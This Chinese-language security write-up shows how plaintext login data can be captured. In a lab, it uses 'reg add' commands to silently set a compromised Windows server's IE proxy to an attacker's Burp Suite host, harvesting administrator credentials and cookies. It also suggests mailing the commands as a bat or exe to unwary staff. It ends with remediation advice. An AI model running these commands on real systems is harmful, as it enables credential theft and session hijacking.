敏感數據明文傳輸引發的全新攻擊
敏感數據的安全傳輸是網絡安全技術的一個重要的組成部分,但是敏感數據(有且但不限于用戶登錄賬戶及密碼)明文傳輸卻是一個很常見的漏洞,而這個漏洞因為利用難度大而被評為一個中危風險——絕大多數掃描器或者人工滲透。 關于明文傳輸漏洞的解決方案,眾所周知只有https是最佳實踐,雖然ssl證書的價格需要考慮,以及https也不是絕對安全的,當遭受中間人劫持攻擊的時候也會獲取到傳輸中的明文數據,具體攻擊詳情見文章《HTTPS連接過程以及中間人攻擊劫持》,但是這篇文章也說了,使用中間人攻擊手段必須讓客戶端信任中間人的證書,否則攻擊無效。因此這種攻擊方式可以放棄,難度大且不方便隱藏攻擊。
一、敏感數據明文傳輸
敏感數據明文傳輸簡單點來說就是當我們在網站上面提交敏感數據到服務器的過程中未進行相關加密處理,導致攻擊者通過中間人攻擊方式(劫持、嗅探等)即可獲取到這些未加密的敏感數據。當攻擊者獲取到這些數據之后,就可以用這些信息以合法用戶的身份進入到應用系統中——甚至可能進入到應用系統后臺中,一旦進入到應用系統中那么就可以獲取更多的敏感數據,以及更有機會發現更多的漏洞。 目前很多網站都是站庫分離(站點與站點的數據庫在不同的服務器上),獲取了站點的權限不一定就會獲取到更多的敏感數據更或是數據庫的訪問權限,可能連應用系統后臺都進不去,使用嗅探呢?如果站點是使用https進行傳輸的,嗅探能成功嗎?答案是否定的!下面將詳細介紹關于對敏感數據明文傳輸漏洞如何利用的過程!
二、初驗敏感數據是否是明文傳輸
我們如何判斷一個網站的登錄(下面將統一以登錄的賬號及密碼作為敏感數據進行測試)是否是明文傳輸。一是使用抓包工具,二是使用瀏覽器自帶的功能!推薦使用瀏覽器自帶的功能,使用抓包的話推薦使用burpsuite,只是抓取https的數據包時需要提前進行額外的配置——安裝burpsuite的CA證書,具體配置見官方配置。 首先通過火狐瀏覽器的F12功能,我們選擇【網絡】模塊,并點擊HTML進行篩選,如圖1所示:
圖1 設置火狐瀏覽器 然后點擊登錄即可獲取到post或者get的請求頭及請求主體的內容,如圖2所示,就獲取到了http明文登錄的敏感數據了。

圖2 獲取http敏感數據 通過使用burpsuite進行抓包也是一樣的,只要配置好了burpsuite,我們也可以抓取這些敏感數據,如圖3所示:
圖3 獲取http明文數據
三、漏洞利用場景的思考
上面的方式都是可以成功獲取到用戶的敏感數據,那么在滲透中我們怎么利用該漏洞呢?嗅探?不現實,入侵路由器?想太多,其實最簡單的就是一個小操作即可,就是設置被攻擊者的IE代理設置! 被攻擊者——之前多數人理解進入了一個固定思維,理解為就是一般的用戶,把管理員也歸屬于這一類,所以覺得攻擊難度很大,可能在同一局域網中利用相對較多吧!本次攻擊對象明確為管理員,針對管理員的攻擊,對于一般的用戶也照樣適用!
四、模擬攻擊
1. 攻擊條件 通過思考我們發現,目前的利用也是存在有一定的限制的,姑且理解為技術不夠。攻擊條件主要有以下幾方面:
- 服務器需要是windows主機。
- 攻擊者需要有獨立外網主機(或者同一局域網中)。
- 服務器存在一定的漏洞(能執行命令),也可以通過釣魚方式。
- 對于第三個條件簡單說明下,能執行命令,或者能獲取到服務器的權限,不一定能獲取到應用系統中存在的敏感數據或者數據庫中的數據,例如,你在一個網站(只有一個登陸頁面)處檢測出了命令執行漏洞,可以執行命令,但是權限不是很高(即使權限很高,除非你只感興趣服務器的控制權而不是應用系統中的敏感數據),此時我們就可以使用這種攻擊方式了! 2. 實驗環境介紹操作系統:Microsoft Windows Server 2008 R2 Enterprise,IP:192.168.1.25
- 用戶權限組:*Users
- 使用工具:burpsuite
- 攻擊者IP:192.168.1.200
3. 配置攻擊者burpsuite 由于我們是要獲取被攻擊者傳過來的數據包,而被攻擊者往往都是處于內網,外網訪問多數是通過映射出來的,所以我們設置我們的burpsuite的代理為任意ip過來的數據包,如圖4所示:
圖4 配置攻擊者的burpsuite
4. 設置被攻擊者IE代理
如果能進入到桌面環境,可以通過圖形化界面進行設置IE代理,如圖5所示:
圖5設置IE代理
如果不能進入到遠程桌面,我們可以使用下面命令進行設置IE代理: //開啟代理! 1. reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 1 /f
//設置代理ip及端口,為攻擊者的ip,端口與burpsuite設置保持一致!
1. reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer /d "192.168.1.200:8080" /f
關閉設置的代理可以使用下面的命令:
1. reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_
以上命令經測試只要是users用戶組即可成功執行,如圖6所示,為了方便我們可以將開啟和關閉的命令分別寫為bat批處理文件。

圖6 users用戶組即可成功執行
5. 獲取敏感數據 為了不讓被攻擊者懷疑,我們不要開啟截斷功能,如圖7所示:
圖7 關閉截斷功能
現在攻擊者只需要等待管理員去服務器上面使用瀏覽器訪問部署的網站,額外收獲的話還可以獲取到管理員其他網站上面的登錄賬戶及密碼等信息,另外如果管理員已經登錄了網站,我們可以使用他登錄的cookie或者token等信息在本地進行重放利用! 此時假設管理員登錄了網站,如圖8所示:

圖8 被攻擊者登錄網站
此時攻擊這邊也獲取到了這些登錄數據,如圖9所示:
圖9 查看被攻擊者http網站明文信息
五、總結及修復建議
通過上述可以說明,對于敏感數據明文傳輸,上面只是一種利用方式,我們還可以將開啟代理的批處理文件(或者通過編程調用這些命令,到時可以直接發送exe文件給受害者,這樣隱蔽性也相對較好!)發給安全意識不高的人員,一旦他們點擊,我們即可獲取到這些人員訪問網站的所有數據,登錄時獲取登錄憑證,已經登錄的情況下獲取登錄成功的cookie等進行本地的重放等,所有對于這種攻擊方式來說,危害還是很高的!修復建議參考如下:
- 使用https來確保傳輸的安全,因為使用https的話對于中間人嗅探完全是亂碼的!
- 用戶登錄信息使用加密傳輸,如密碼在傳輸前使用安全的算法加密后進行傳輸,可采用的算法包括:不可逆hash算法加鹽(4位及以上隨機數,由服務器端產生);安全對稱加密算法,如AES(128、192、256位),且必須保證客戶端密鑰安全及隨機,不可被破解或讀出;非對稱加密算法,如RSA(不低于1024位)且保證密鑰的隨機性等。只有保證同一密碼加密的密文每次都是不同的方可,因為如果不是這樣的話攻擊者同樣能獲取到你的密文進行本地的一個重放登錄,通過抓包將請求主體替換為被攻擊者的請求主體,不一定非要明文才能利用,所以在加密的同時還需要考慮重放攻擊!
- 不要輕易運行陌生人發來的軟件,安裝軟件的時候也謹慎點,防止捆綁有惡意軟件!
- 設置瀏覽器代理為不使用任何代理,主要是不要使用默認的系統代理,即IE代理!
- 對服務器進行安全加固,防止利用服務器漏洞進行攻擊!